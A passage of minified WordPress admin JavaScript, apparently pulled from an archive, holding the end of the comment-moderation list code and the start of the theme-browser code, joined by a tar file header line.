o,s,i=document.title,C=w("#dashboard_right_now").length,c=wp.i18n.__,d=wp.i18n._x,x=function(t){t=parseInt(t.html().replace(/[^0-9]+/g,""),10);return isNaN(t)?0:t},r=function(t,e){var n="";if(!isNaN(e)){if(3<(e=e<1?"0":e.toString()).length){for(;3<e.length;)n=thousandsSeparator+e.substr(e.length-3)+n,e=e.substr(0,e.length-3);e+=n}t.html(e)}},b=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-comments",o="comment-count-approved";k("span.approved-count",n),t&&(t=w("span."+o,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?t.removeClass(o).addClass(a):t.addClass(o).removeClass(a),r(t,e)}),e.each(function(){var t=w(this);0<n?t.removeClass(a).addClass(o):t.addClass(a).removeClass(o),r(t,n)}))},k=function(t,n){w(t).each(function(){var t=w(this),e=x(t)+n;r(t,e=e<1?0:e)})},E=function(t){C&&t&&t.i18n_comments_text&&w(".comment-count a","#dashboard_right_now").text(t.i18n_comments_text)},R=function(t){t&&t.i18n_moderation_text&&(w(".comments-in-moderation-text").text(t.i18n_moderation_text),C)&&t.in_moderation&&w(".comment-mod-count","#dashboard_right_now")[0<t.in_moderation?"removeClass":"addClass"]("hidden")},l=function(t){var e,n,a;s=s||new RegExp(c("Comments (%s)").replace("%s","\\([0-9"+thousandsSeparator+"]+\\)")+"?"),o=o||w("<div />"),e=i,1<=(a=(a=s.exec(document.title))?(a=a[0],o.html(a),x(o)+t):(o.html(0),t))?(r(o,a),(n=s.exec(document.title))&&(e=document.title.replace(n[0],c("Comments (%s)").replace("%s",o.text())+" "))):(n=s.exec(e))&&(e=e.replace(n[0],c("Comments"))),document.title=e},I=function(n,t){var e=".post-com-count-"+t,a="comment-count-no-pending",o="post-com-count-no-pending",s="comment-count-pending";C||l(n),w("span.pending-count").each(function(){var t=w(this),e=x(t)+n;e<1&&(e=0),t.closest(".awaiting-mod")[0===e?"addClass":"removeClass"]("count-0"),r(t,e)}),t&&(t=w("span."+s,e),e=w("span."+a,e),t.each(function(){var t=w(this),e=x(t)+n;0===(e=e<1?0:e)?(t.parent().addClass(o),t.removeClass(s).addClass(a)):(t.parent().removeClass(o),t.addClass(s).removeClass(a)),r(t,e)}),e.each(function(){var t=w(this);0<n?(t.parent().removeClass(o),t.removeClass(a).addClass(s)):(t.parent().addClass(o),t.addClass(a).removeClass(s)),r(t,n)}))};window.setCommentsList=function(){var i,v=0,g=w('input[name="_total"]',"#comments-form"),l=w('input[name="_per_page"]',"#comments-form"),p=w('input[name="_page"]',"#comments-form"),y=function(t,e,n){e<v||(n&&(v=e),g.val(t.toString()))},t=function(t,e){var n,a,o,s=w("#"+e.element);!0!==e.parsed&&(o=e.parsed.responses[0]),a=w("#replyrow"),n=w("#comment_ID",a).val(),a=w("#replybtn",a),s.is(".unapproved")?(e.data.id==n&&a.text(c("Approve and Reply")),s.find(".row-actions span.view").addClass("hidden").end().find("div.comment_status").html("0")):(e.data.id==n&&a.text(d("Reply","verb")),s.find(".row-actions span.view").removeClass("hidden").end().find("div.comment_status").html("1")),i=w("#"+e.element).is("."+e.dimClass)?1:-1,o?(E(o.supplemental),R(o.supplemental),I(i,o.supplemental.postId),b(-1*i,o.supplemental.postId)):(I(i),b(-1*i))},e=function(t,e){var n,a,o,s,i=!1,r=w(t.target).attr("data-wp-lists");return t.data._total=g.val()||0,t.data._per_page=l.val()||0,t.data._page=p.val()||0,t.data._url=document.location.href,t.data.comment_status=w('input[name="comment_status"]',"#comments-form").val(),-1!=r.indexOf(":trash=1")?i="trash":-1!=r.indexOf(":spam=1")&&(i="spam"),i&&(n=r.replace(/.*?comment-([0-9]+).*/,"$1"),r=w("#comment-"+n),o=w("#"+i+"-undo-holder").html(),r.find(".check-column :checkbox").prop("checked",!1),r.siblings("#replyrow").length&&commentReply.cid==n&&commentReply.close(),a=r.is("tr")?(a=r.children(":visible").length,s=w(".author strong",r).text(),w('<tr id="undo-'+n+'" class="undo un'+i+'" style="display:none;"><td colspan="'+a+'">'+o+"</td></tr>")):(s=w(".comment-author",r).text(),w('<div id="undo-'+n+'" style="display:none;" class="undo un'+i+'">'+o+"</div>")),r.before(a),w("strong","#undo-"+n).text(s),(o=w(".undo a","#undo-"+n)).attr("href","comment.php?action=un"+i+"comment&c="+n+"&_wpnonce="+t.data._ajax_nonce),o.attr("data-wp-lists","delete:the-comment-list:comment-"+n+"::un"+i+"=1"),o.attr("class","vim-z vim-destructive aria-button-if-js"),w(".avatar",r).first().clone().prependTo("#undo-"+n+" ."+i+"-undo-inside"),o.on("click",function(t){t.preventDefault(),t.stopPropagation(),e.wpList.del(this),w("#undo-"+n).css({backgroundColor:"#ceb"}).fadeOut(350,function(){w(this).remove(),w("#comment-"+n).css("backgroundColor","").fadeIn(300,function(){w(this).show()})})})),t},n=function(t,e){var n,a,o,s,i=!0===e.parsed?{}:e.parsed.responses[0],r=!0===e.parsed?"":i.supplemental.status,l=!0===e.parsed?"":i.supplemental.postId,p=!0===e.parsed?"":i.supplemental,c=w(e.target).parent(),d=w("#"+e.element),m=d.hasClass("approved")&&!d.hasClass("unapproved"),u=d.hasClass("unapproved"),h=d.hasClass("spam"),d=d.hasClass("trash"),f=!1;E(p),R(p),c.is("span.undo")?(c.hasClass("unspam")?(n=-1,"trash"===r?a=1:"1"===r?s=1:"0"===r&&(o=1)):c.hasClass("untrash")&&(a=-1,"spam"===r?n=1:"1"===r?s=1:"0"===r&&(o=1)),f=!0):c.is("span.spam")?(m?s=-1:u?o=-1:d&&(a=-1),n=1):c.is("span.unspam")?(m?o=1:u?s=1:(d||h)&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),n=-1):c.is("span.trash")?(m?s=-1:u?o=-1:h&&(n=-1),a=1):c.is("span.untrash")?(m?o=1:u?s=1:d&&(c.hasClass("approve")?s=1:c.hasClass("unapprove")&&(o=1)),a=-1):c.is("span.approve:not(.unspam):not(.untrash)")?o=-(s=1):c.is("span.unapprove:not(.unspam):not(.untrash)")?(s=-1,o=1):c.is("span.delete")&&(h?n=-1:d&&(a=-1)),o&&(I(o,l),k("span.all-count",o)),s&&(b(s,l),k("span.all-count",s)),n&&k("span.spam-count",n),a&&k("span.trash-count",a),("trash"===e.data.comment_status&&!x(w("span.trash-count"))||"spam"===e.data.comment_status&&!x(w("span.spam-count")))&&w("#delete_all").hide(),C||(p=g.val()?parseInt(g.val(),10):0,w(e.target).parent().is("span.undo")?p++:p--,p<0&&(p=0),"object"==typeof t?i.supplemental.total_items_i18n&&v<i.supplemental.time?((r=i.supplemental.total_items_i18n||"")&&(w(".displaying-num").text(r.replace(" ",String.fromCharCode(160))),w(".total-pages").text(i.supplemental.total_pages_i18n.replace(" ",String.fromCharCode(160))),w(".tablenav-pages").find(".next-page, .last-page").toggleClass("disabled",i.supplemental.total_pages==w(".current-page").val())),y(p,i.supplemental.time,!0)):i.supplemental.time&&y(p,i.supplemental.time,!1):y(p,t,!1)),theExtraList&&0!==theExtraList.length&&0!==theExtraList.children().length&&!f&&(theList.get(0).wpList.add(theExtraList.children(":eq(0):not(.no-items)").remove().clone()),_(),m=function(){w("#the-comment-list tr:visible").length||theList.get(0).wpList.add(theExtraList.find(".no-items").clone())},(u=w(":animated","#the-comment-list")).length?u.promise().done(m):m())},_=function(t){var e=w.query.get(),n=w(".total-pages").text(),a=w('input[name="_per_page"]',"#comments-form").val();e.paged||(e.paged=1),e.paged>n||(t?(theExtraList.empty(),e.number=Math.min(8,a)):(e.number=1,e.offset=Math.min(8,a)-1),e.no_placeholder=!0,e.paged++,!0===e.comment_type&&(e.comment_type=""),e=w.extend(e,{action:"fetch-list",list_args:list_args,_ajax_fetch_list_nonce:w("#_ajax_fetch_list_nonce").val()}),w.ajax({url:ajaxurl,global:!1,dataType:"json",data:e,success:function(t){theExtraList.get(0).wpList.add(t.rows)}}))};window.theExtraList=w("#the-extra-comment-list").wpList({alt:"",delColor:"none",addColor:"none"}),window.theList=w("#the-comment-list").wpList({alt:"",delBefore:e,dimAfter:t,delAfter:n,addColor:"none"}).on("wpListDelEnd",function(t,e){var n=w(e.target).attr("data-wp-lists"),e=e.element.replace(/[^0-9]+/g,"");-1==n.indexOf(":trash=1")&&-1==n.indexOf(":spam=1")||w("#undo-"+e).fadeIn(300,function(){w(this).show()})})},window.commentReply={cid:"",act:"",originalContent:"",init:function(){var t=w("#replyrow");w(".cancel",t).on("click",function(){return commentReply.revert()}),w(".save",t).on("click",function(){return commentReply.send()}),w("input#author-name, input#author-email, input#author-url",t).on("keypress",function(t){if(13==t.which)return commentReply.send(),t.preventDefault(),!1}),w("#the-comment-list .column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())}),w("#doaction, #post-query-submit").on("click",function(){0<w("#the-comment-list #replyrow").length&&commentReply.close()}),this.comments_listing=w('#comments-form > input[name="comment_status"]').val()||""},addEvents:function(t){t.each(function(){w(this).find(".column-comment > p").on("dblclick",function(){commentReply.toggle(w(this).parent())})})},toggle:function(t){"none"!==w(t).css("display")&&(w("#replyrow").parent().is("#com-reply")||window.confirm(c("Are you sure you want to edit this comment?\nThe changes you made will be lost.")))&&w(t).find("button.vim-q").trigger("click")},revert:function(){if(w("#the-comment-list #replyrow").length<1)return!1;w("#replyrow").fadeOut("fast",function(){commentReply.close()})},close:function(){var t=w(),e=w("#replyrow");e.parent().is("#com-reply")||(this.cid&&(t=w("#comment-"+this.cid)),"edit-comment"===this.act&&t.fadeIn(300,function(){t.show().find(".vim-q").attr("aria-expanded","false").trigger("focus")}).css("backgroundColor",""),"replyto-comment"===this.act&&t.find(".vim-r").attr("aria-expanded","false").trigger("focus"),"undefined"!=typeof QTags&&QTags.closeAllTags("replycontent"),w("#add-new-comment").css("display",""),e.hide(),w("#com-reply").append(e),w("#replycontent").css("height","").val(""),w("#edithead input").val(""),w(".notice-error",e).addClass("hidden").find(".error").empty(),w(".spinner",e).removeClass("is-active"),this.cid="",this.originalContent="")},open:function(t,e,n){var a,o,s,i,r=w("#comment-"+t),l=r.height();return this.discardCommentChanges()&&(this.close(),this.cid=t,a=w("#replyrow"),o=w("#inline-"+t),s=this.act=("edit"==(n=n||"replyto")?"edit":"replyto")+"-comment",this.originalContent=w("textarea.comment",o).val(),i=w("> th:visible, > td:visible",r).length,a.hasClass("inline-edit-row")&&0!==i&&w("td",a).attr("colspan",i),w("#action",a).val(s),w("#comment_post_ID",a).val(e),w("#comment_ID",a).val(t),"edit"==n?(w("#author-name",a).val(w("div.author",o).text()),w("#author-email",a).val(w("div.author-email",o).text()),w("#author-url",a).val(w("div.author-url",o).text()),w("#status",a).val(w("div.comment_status",o).text()),w("#replycontent",a).val(w("textarea.comment",o).val()),w("#edithead, #editlegend, #savebtn",a).show(),w("#replyhead, #replybtn, #addhead, #addbtn",a).hide(),120<l&&(i=500<l?500:l,w("#replycontent",a).css("height",i+"px")),r.after(a).fadeOut("fast",function(){w("#replyrow").fadeIn(300,function(){w(this).show()})})):"add"==n?(w("#addhead, #addbtn",a).show(),w("#replyhead, #replybtn, #edithead, #editlegend, #savebtn",a).hide(),w("#the-comment-list").prepend(a),w("#replyrow").fadeIn(300)):(s=w("#replybtn",a),w("#edithead, #editlegend, #savebtn, #addhead, #addbtn",a).hide(),w("#replyhead, #replybtn",a).show(),r.after(a),r.hasClass("unapproved")?s.text(c("Approve and Reply")):s.text(d("Reply","verb")),w("#replyrow").fadeIn(300,function(){w(this).show()})),setTimeout(function(){var e=!1,n=!1,t=w("#replyrow").offset().top,a=t+w("#replyrow").height(),o=window.pageYOffset||document.documentElement.scrollTop,s=document.documentElement.clientHeight||window.innerHeight||0;o+s-20<a?window.scroll(0,a-s+35):t-20<o&&window.scroll(0,t-35),w("#replycontent").trigger("focus").on("contextmenu keydown",function(t){"contextmenu"===t.type&&(n=!0),"keydown"===t.type&&27===t.which&&(n=n&&!1)}).on("keyup",function(t){27!==t.which||e||n||commentReply.revert()}).on("compositionstart",function(){e=!0})},600)),!1},send:function(){var e={};w("#replysubmit .error-notice").addClass("hidden"),w("#replysubmit .spinner").addClass("is-active"),w("#replyrow input").not(":button").each(function(){var t=w(this);e[t.attr("name")]=t.val()}),e.content=w("#replycontent").val(),e.id=e.comment_post_ID,e.comments_listing=this.comments_listing,e.p=w('[name="p"]').val(),w("#comment-"+w("#comment_ID").val()).hasClass("unapproved")&&(e.approve_parent=1),w.ajax({type:"POST",url:ajaxurl,data:e,success:function(t){commentReply.show(t)},error:function(t){commentReply.error(t)}})},show:function(t){var e,n,a,o=this;return"string"==typeof t?(o.error({responseText:t}),!1):(t=wpAjax.parseAjaxResponse(t)).errors?(o.error({responseText:wpAjax.broken}),!1):(o.revert(),e="#comment-"+(t=t.responses[0]).id,"edit-comment"==o.act&&w(e).remove(),void(t.supplemental.parent_approved&&(a=w("#comment-"+t.supplemental.parent_approved),I(-1,t.supplemental.parent_post_id),"moderated"==this.comments_listing)?a.animate({backgroundColor:"#CCEEBB"},400,function(){a.fadeOut()}):(t.supplemental.i18n_comments_text&&(E(t.supplemental),R(t.supplemental),b(1,t.supplemental.parent_post_id),k("span.all-count",1)),t.data=t.data||"",t=t.data.toString().trim(),w(t).hide(),w("#replyrow").after(t),e=w(e),o.addEvents(e),n=e.hasClass("unapproved")?"#FFFFE0":e.closest(".widefat, .postbox").css("backgroundColor"),e.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300,function(){a&&a.length&&a.animate({backgroundColor:"#CCEEBB"},300).animate({backgroundColor:n},300).removeClass("unapproved").addClass("approved").find("div.comment_status").html("1")}))))},error:function(t){var e=t.statusText,n=w("#replysubmit .notice-error"),a=n.find(".error");w("#replysubmit .spinner").removeClass("is-active"),(e=t.responseText?t.responseText.replace(/<.[^<>]*?>/g,""):e)&&(n.removeClass("hidden"),a.html(e),wp.a11y.speak(e))},addcomment:function(t){var e=this;w("#add-new-comment").fadeOut(200,function(){e.open(0,t,"add"),w("table.comments-box").css("display",""),w("#no-comments").remove()})},discardCommentChanges:function(){var t=w("#replyrow");return""===w("#replycontent",t).val()||this.originalContent===w("#replycontent",t).val()||window.confirm(c("Are you sure you want to do this?\nThe comment changes you made will be lost."))}},w(function(){var t,e,n,a;setCommentsList(),commentReply.init(),w(document).on("click","span.delete a.delete",function(t){t.preventDefault()}),void 0!==w.table_hotkeys&&(t=function(n){return function(){var t="next"==n?"first":"last",e=w(".tablenav-pages ."+n+"-page:not(.disabled)");e.length&&(window.location=e[0].href.replace(/\&hotkeys_highlight_(first|last)=1/g,"")+"&hotkeys_highlight_"+t+"=1")}},e=function(t,e){window.location=w("span.edit a",e).attr("href")},n=function(){w("#cb-select-all-1").data("wp-toggle",1).trigger("click").removeData("wp-toggle")},a=function(e){return function(){var t=w('select[name="action"]');w('option[value="'+e+'"]',t).prop("selected",!0),w("#doaction").trigger("click")}},w.table_hotkeys(w("table.widefat"),["a","u","s","d","r","q","z",["e",e],["shift+x",n],["shift+a",a("approve")],["shift+s",a("spam")],["shift+d",a("delete")],["shift+t",a("trash")],["shift+z",a("untrash")],["shift+u",a("unapprove")]],{highlight_first:adminCommentsSettings.hotkeys_highlight_first,highlight_last:adminCommentsSettings.hotkeys_highlight_last,prev_page_link_cb:t("prev"),next_page_link_cb:t("next"),hotkeys_opts:{disableInInput:!0,type:"keypress",noDisable:'.check-column input[type="checkbox"]'},cycle_expr:"#the-comment-list tr",start_row_index:0})),w("#the-comment-list").on("click",".comment-inline",function(){var t=w(this),e="replyto";void 0!==t.data("action")&&(e=t.data("action")),w(this).attr("aria-expanded","true"),commentReply.open(t.data("commentId"),t.data("postId"),e)})})}(jQuery); theme.min.js 0000644 00000065006 15222552267 0007005 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(n){var o,a;function e(e,t){Backbone.history._hasPushState&&Backbone.Router.prototype.navigate.call(this,e,t)}(o=wp.themes=wp.themes||{}).data=_wpThemeSettings,a=o.data.l10n,o.isInstall=!!o.data.settings.isInstall,_.extend(o,{model:{},view:{},routes:{},router:{},template:wp.template}),o.Model=Backbone.Model.extend({initialize:function(){var e;this.get("slug")&&(-1!==_.indexOf(o.data.installedThemes,this.get("slug"))&&this.set({installed:!0}),o.data.activeTheme===this.get("slug"))&&this.set({active:!0}),this.set({id:this.get("slug")||this.get("id")}),this.has("sections")&&(e=this.get("sections").description,this.set({description:e}))}}),o.view.Appearance=wp.Backbone.View.extend({el:"#wpbody-content .wrap .theme-browser",window:n(window),page:0,initialize:function(e){_.bindAll(this,"scroller"),this.SearchView=e.SearchView||o.view.Search,this.window.on("scroll",_.throttle(this.scroller,300))},render:function(){this.view=new o.view.Themes({collection:this.collection,parent:this}),this.search(),this.$el.removeClass("search-loading"),this.view.render(),this.$el.empty().append(this.view.el).addClass("rendered")},searchContainer:n(".search-form"),search:function(){var e;1!==o.data.themes.length&&(e=new this.SearchView({collection:this.collection,parent:this}),(this.SearchView=e).render(),this.searchContainer.find(".search-box").append(n.parseHTML('<label for="wp-filter-search-input">'+a.search+"</label>")).append(e.el),this.searchContainer.on("submit",function(e){e.preventDefault()}))},scroller:function(){var e=this,t=this.window.scrollTop()+e.window.height(),e=e.$el.offset().top+e.$el.outerHeight(!1)-e.window.height();Math.round(.9*e)<t&&this.trigger("theme:scroll")}}),o.Collection=Backbone.Collection.extend({model:o.Model,terms:"",doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms&&(this.reset(o.data.themes),n("body").removeClass("no-results")),this.trigger("themes:update"))},search:function(t){var i,e,s,r,a;this.reset(o.data.themes,{silent:!0}),t=(t=(t=t.trim()).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),i=new RegExp("^(?=.*"+t+").+","i"),0===(e=this.filter(function(e){return s=e.get("name").replace(/(<([^>]+)>)/gi,""),r=e.get("description").replace(/(<([^>]+)>)/gi,""),a=e.get("author").replace(/(<([^>]+)>)/gi,""),s=_.union([s,e.get("id"),r,a,e.get("tags")]),i.test(e.get("author"))&&2<t.length&&e.set("displayAuthor",!0),i.test(s)})).length?this.trigger("query:empty"):n("body").removeClass("no-results"),this.reset(e)},paginate:function(e){var t=this;return e=e||0,t=_(t.rest(20*e)),t=_(t.first(20))},count:!1,query:function(t){var e,i,s,r=this.queries,a=this;if(this.currentQuery.request=t,e=_.find(r,function(e){return _.isEqual(e.request,t)}),(i=_.has(t,"page"))||(this.currentQuery.page=1),e||i){if(i)return this.apiCall(t,i).done(function(e){a.add(e.themes),a.trigger("query:success"),a.loadingThemes=!1}).fail(function(){a.trigger("query:fail")});0===e.themes.length?a.trigger("query:empty"):n("body").removeClass("no-results"),_.isNumber(e.total)&&(this.count=e.total),this.reset(e.themes),e.total||(this.count=this.length),this.trigger("themes:update"),this.trigger("query:success",this.count)}else this.apiCall(t).done(function(e){e.themes&&(a.reset(e.themes),s=e.info.results,r.push({themes:e.themes,request:t,total:s})),a.trigger("themes:update"),a.trigger("query:success",s),e.themes&&0===e.themes.length&&a.trigger("query:empty")}).fail(function(){a.trigger("query:fail")})},queries:[],currentQuery:{page:1,request:{}},apiCall:function(e,t){return wp.ajax.send("query-themes",{data:{request:_.extend({per_page:100},e)},beforeSend:function(){t||n("body").addClass("loading-content").removeClass("no-results")}})},loadingThemes:!1}),o.view.Theme=wp.Backbone.View.extend({className:"theme",state:"grid",html:o.template("theme"),events:{click:o.isInstall?"preview":"expand",keydown:o.isInstall?"preview":"expand",touchend:o.isInstall?"preview":"expand",keyup:"addFocus",touchmove:"preventExpand","click .theme-install":"installTheme","click .update-message":"updateTheme"},touchDrag:!1,initialize:function(){this.model.on("change",this.render,this)},render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)).attr("data-slug",e.id),this.activeTheme(),this.model.get("displayAuthor")&&this.$el.addClass("display-author")},activeTheme:function(){this.model.get("active")&&this.$el.addClass("active")},addFocus:function(){var e=n(":focus").hasClass("theme")?n(":focus"):n(":focus").parents(".theme");n(".theme.focus").removeClass("focus"),e.addClass("focus")},expand:function(e){if("keydown"!==(e=e||window.event).type||13===e.which||32===e.which)return!0===this.touchDrag?this.touchDrag=!1:void(n(e.target).is(".theme-actions a")||n(e.target).is(".theme-actions a, .update-message, .button-link, .notice-dismiss")||(o.focusedTheme=this.$el,this.trigger("theme:expand",this.model.cid)))},preventExpand:function(){this.touchDrag=!0},preview:function(e){var t,i,s=this;if(e=e||window.event,!0===this.touchDrag)return this.touchDrag=!1;n(e.target).not(".install-theme-preview").parents(".theme-actions").length||"keydown"===e.type&&13!==e.which&&32!==e.which||"keydown"===e.type&&13!==e.which&&n(":focus").hasClass("button")||(e.preventDefault(),e=e||window.event,o.focusedTheme=this.$el,o.preview=i=new o.view.Preview({model:this.model}),i.render(),this.setNavButtonsState(),1===this.model.collection.length?i.$el.addClass("no-navigation"):i.$el.removeClass("no-navigation"),n("div.wrap").append(i.el),this.listenTo(i,"theme:next",function(){if(t=s.model,_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)+1),_.isUndefined(s.current))return s.options.parent.parent.trigger("theme:end"),s.current=t;i.model=s.current,i.render(),this.setNavButtonsState(),n(".next-theme").trigger("focus")}).listenTo(i,"theme:previous",function(){t=s.model,0===s.model.collection.indexOf(s.current)||(_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)-1),_.isUndefined(s.current))||(i.model=s.current,i.render(),this.setNavButtonsState(),n(".previous-theme").trigger("focus"))}),this.listenTo(i,"preview:close",function(){s.current=s.model}))},setNavButtonsState:function(){var e=n(".theme-install-overlay"),t=_.isUndefined(this.current)?this.model:this.current,i=e.find(".previous-theme"),e=e.find(".next-theme");0===this.model.collection.indexOf(t)&&(i.addClass("disabled").prop("disabled",!0),e.trigger("focus")),_.isUndefined(this.model.collection.at(this.model.collection.indexOf(t)+1))&&(e.addClass("disabled").prop("disabled",!0),i.trigger("focus"))},installTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({installed:!0}),t.blockTheme&&i.model.set({block_theme:!0})}),wp.updates.installTheme({slug:n(e.target).data("slug")})},updateTheme:function(e){var i=this;this.model.get("hasPackage")&&(e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.off("change",i.render,i),i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.model.on("change",i.render,i)}),wp.updates.updateTheme({slug:n(e.target).parents("div.theme").first().data("slug")}))}}),o.view.Details=wp.Backbone.View.extend({className:"theme-overlay",events:{click:"collapse","click .delete-theme":"deleteTheme","click .left":"previousTheme","click .right":"nextTheme","click #update-theme":"updateTheme","click .toggle-auto-update":"autoupdateState"},html:o.template("theme-single"),render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)),this.activeTheme(),this.navigation(),this.screenshotCheck(this.$el),this.containFocus(this.$el)},activeTheme:function(){this.$el.toggleClass("active",this.model.get("active"))},containFocus:function(s){_.delay(function(){n(".theme-overlay").trigger("focus")},100),s.on("keydown.wp-themes",function(e){var t=s.find(".theme-header button:not(.disabled)").first(),i=s.find(".theme-actions a:visible").last();9===e.which&&(t[0]===e.target&&e.shiftKey?(i.trigger("focus"),e.preventDefault()):i[0]!==e.target||e.shiftKey||(t.trigger("focus"),e.preventDefault()))})},collapse:function(e){var t,i=this;e=e||window.event,1!==o.data.themes.length&&(n(e.target).is(".theme-backdrop")||n(e.target).is(".close")||27===e.keyCode)&&(n("body").addClass("closing-overlay"),this.$el.fadeOut(130,function(){n("body").removeClass("closing-overlay"),i.closeOverlay(),t=document.body.scrollTop,o.router.navigate(o.router.baseUrl("")),document.body.scrollTop=t,o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}))},navigation:function(){this.model.cid===this.model.collection.at(0).cid&&this.$el.find(".left").addClass("disabled").prop("disabled",!0),this.model.cid===this.model.collection.at(this.model.collection.length-1).cid&&this.$el.find(".right").addClass("disabled").prop("disabled",!0)},closeOverlay:function(){n("body").removeClass("modal-open"),this.remove(),this.unbind(),this.trigger("theme:collapse")},autoupdateState:function(){var s=this,r=function(e,t){var i;s.model.get("id")===t.asset&&((i=s.model.get("autoupdate")).enabled="enable"===t.state,s.model.set({autoupdate:i}),n(document).off("wp-auto-update-setting-changed",r))};n(document).on("wp-auto-update-setting-changed",r)},updateTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.render()}),wp.updates.updateTheme({slug:n(e.target).data("slug")})},deleteTheme:function(e){var i=this,s=i.model.collection,r=o;e.preventDefault(),window.confirm(wp.themes.data.settings.confirmDelete)&&(wp.updates.maybeRequestFilesystemCredentials(e),n(document).one("wp-theme-delete-success",function(e,t){i.$el.find(".close").trigger("click"),n('[data-slug="'+t.slug+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){n(this).remove(),r.data.themes=_.without(r.data.themes,_.findWhere(r.data.themes,{id:t.slug})),n(".wp-filter-search").val(""),s.doSearch(""),s.remove(i.model),s.trigger("themes:update")})}),wp.updates.deleteTheme({slug:this.model.get("id")}))},nextTheme:function(){return this.trigger("theme:next",this.model.cid),!1},previousTheme:function(){return this.trigger("theme:previous",this.model.cid),!1},screenshotCheck:function(e){var t=e.find(".screenshot img"),i=new Image;i.src=t.attr("src"),i.width&&i.width<=300&&e.addClass("small-screenshot")}}),o.view.Preview=o.view.Details.extend({className:"wp-full-overlay expanded",el:".theme-install-overlay",events:{"click .close-full-overlay":"close","click .collapse-sidebar":"collapse","click .devices button":"previewDevice","click .previous-theme":"previousTheme","click .next-theme":"nextTheme",keyup:"keyEvent","click .theme-install":"installTheme"},html:o.template("theme-preview"),render:function(){var e=this,t=this.model.toJSON(),i=n(document.body);i.attr("aria-busy","true"),this.$el.removeClass("iframe-ready").html(this.html(t)),(t=this.$el.data("current-preview-device"))&&e.togglePreviewDeviceButtons(t),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.get("id")),{replace:!1}),this.$el.fadeIn(200,function(){i.addClass("theme-installer-active full-overlay-active")}),this.$el.find("iframe").one("load",function(){e.iframeLoaded()})},iframeLoaded:function(){this.$el.addClass("iframe-ready"),n(document.body).attr("aria-busy","false")},close:function(){return this.$el.fadeOut(200,function(){n("body").removeClass("theme-installer-active full-overlay-active"),o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}).removeClass("iframe-ready"),o.router.selectedTab?(o.router.navigate(o.router.baseUrl("?browse="+o.router.selectedTab)),o.router.selectedTab=!1):o.router.navigate(o.router.baseUrl("")),this.trigger("preview:close"),this.undelegateEvents(),this.unbind(),!1},collapse:function(e){e=n(e.currentTarget);return"true"===e.attr("aria-expanded")?e.attr({"aria-expanded":"false","aria-label":a.expandSidebar}):e.attr({"aria-expanded":"true","aria-label":a.collapseSidebar}),this.$el.toggleClass("collapsed").toggleClass("expanded"),!1},previewDevice:function(e){e=n(e.currentTarget).data("device");this.$el.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+e).data("current-preview-device",e),this.togglePreviewDeviceButtons(e)},togglePreviewDeviceButtons:function(e){var t=n(".wp-full-overlay-footer .devices");t.find("button").removeClass("active").attr("aria-pressed",!1),t.find("button.preview-"+e).addClass("active").attr("aria-pressed",!0)},keyEvent:function(e){27===e.keyCode&&(this.undelegateEvents(),this.close()),e.shiftKey||e.ctrlKey&&e.shiftKey||(39===e.keyCode&&_.once(this.nextTheme()),37===e.keyCode&&this.previousTheme())},installTheme:function(e){var t=this,i=n(e.target);e.preventDefault(),i.hasClass("disabled")||(wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(){t.model.set({installed:!0})}),wp.updates.installTheme({slug:i.data("slug")}))}}),o.view.Themes=wp.Backbone.View.extend({className:"themes wp-clearfix",$overlay:n("div.theme-overlay"),index:0,count:n(".wrap .theme-count"),liveThemeCount:0,initialize:function(e){var t=this;this.parent=e.parent,this.setView("grid"),t.currentTheme(),this.listenTo(t.collection,"themes:update",function(){t.parent.page=0,t.currentTheme(),t.render(this)}),this.listenTo(t.collection,"query:success",function(e){_.isNumber(e)?(t.count.text(e),t.announceSearchResults(e)):(t.count.text(t.collection.length),t.announceSearchResults(t.collection.length))}),this.listenTo(t.collection,"query:empty",function(){n("body").addClass("no-results")}),this.listenTo(this.parent,"theme:scroll",function(){t.renderThemes(t.parent.page)}),this.listenTo(this.parent,"theme:close",function(){t.overlay&&t.overlay.closeOverlay()}),n("body").on("keyup",function(e){!t.overlay||n("#request-filesystem-credentials-dialog").is(":visible")||e.shiftKey||e.ctrlKey&&e.shiftKey||(39===e.keyCode&&t.overlay.nextTheme(),37===e.keyCode&&t.overlay.previousTheme(),27===e.keyCode&&t.overlay.collapse(e))})},render:function(){this.$el.empty(),1===o.data.themes.length&&(this.singleTheme=new o.view.Details({model:this.collection.models[0]}),this.singleTheme.render(),this.$el.addClass("single-theme"),this.$el.append(this.singleTheme.el)),0<this.options.collection.size()&&this.renderThemes(this.parent.page),this.liveThemeCount=this.collection.count||this.collection.length,this.count.text(this.liveThemeCount),o.isInstall||this.announceSearchResults(this.liveThemeCount)},renderThemes:function(e){var t=this;t.instance=t.collection.paginate(e),0===t.instance.size()?this.parent.trigger("theme:end"):(!o.isInstall&&1<=e&&n(".add-new-theme").remove(),t.instance.each(function(e){t.theme=new 